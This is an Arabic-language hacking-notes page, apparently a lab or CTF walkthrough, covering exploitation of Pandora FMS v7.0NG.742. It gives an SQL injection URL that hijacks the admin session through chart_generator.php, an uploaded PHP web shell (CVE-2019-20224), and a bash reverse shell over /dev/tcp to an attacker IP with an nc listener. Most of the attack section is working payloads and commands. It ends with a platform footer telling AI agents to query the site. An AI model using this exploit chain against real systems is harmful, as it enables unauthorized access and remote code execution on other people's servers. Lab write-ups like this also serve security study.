> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/cms/pandora-cms-exploitation.md).

# Pandora

## استغلال Pandora FMS - حقن SQL

### **حقن SQL - اختطاف جلسة المدير**

يُعيد هذا الأمر توجيه طلبات HTTP المحلية إلى خادم الويب الداخلي.

<figure><img src="/files/316759a936d5edefa6c7d0fde5416da58b2549f9" alt=""><figcaption></figcaption></figure>

الإصدار المكتشف: **v7.0NG.742/\_FIX/\_PERL2020**.

<figure><img src="/files/e042b4df27ee4a1666af622d5759fd3c8215485e" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated>" %}

ثغرة معروفة في `chart_generator.php` من خلال `session_id` المتغير:

<figure><img src="/files/8bf503561fbb86d45030d96f7f222e5a4f0e17ff" alt=""><figcaption></figcaption></figure>

```
http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=1'
```

<figure><img src="/files/711bc9ec6e0fc53e9153165aa3b5ca75bc396ebb" alt=""><figcaption></figcaption></figure>

نفّذ حقن SQL لاختطاف جلسة مسؤول:

<pre class="language-bash"><code class="lang-bash"><strong>http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=%27%20union%20SELECT%201,2,%27id_usuario|s:5:%22admin%22;%27%20as%20data%20--%20SgGO
</strong></code></pre>

* يعيد هذا الأمر ملف تعريف ارتباط لجلسة المدير.

<figure><img src="/files/8fb698faa3cef91fdbe79c673fcb43deae7659ac" alt=""><figcaption></figcaption></figure>

استخدم ملف تعريف الارتباط للوصول إلى لوحة التحكم كمسؤول.

<figure><img src="/files/1ce0c211f03d9850a49886192230e49a95ec3152" alt=""><figcaption></figcaption></figure>

### **تنفيذ التعليمات البرمجية عن بُعد (RCE) - /\[CVE-2019-20224]**

انتقل إلى **مدير الملفات**.

<figure><img src="/files/59326bc799516d35618745b31943382b2afcdd40" alt=""><figcaption></figcaption></figure>

ارفع ملف PHP خبيثًا:

<pre class="language-php"><code class="lang-php"><strong>&#x3C;?php system($_GET['cmd']); ?>
</strong></code></pre>

* الملف متاح على `http://127.0.0.1/pandora_console/images/cmd.php`.

<figure><img src="/files/6be5a494f577ecd6ba5798932172f29a799beb1a" alt=""><figcaption></figcaption></figure>

نفّذ صدفة عكسية:

* ابدأ مستمعًا محليًا:

```bash
nc -nvlp 443
```

* تنفيذ الأوامر على الخادم المستهدف:

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.26/443 0>%261"
```

تم الحصول على الوصول كمستخدم `matt`.

<figure><img src="/files/1aca5ad4d047579222261f809531e7fe15a0630b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/cms/pandora-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
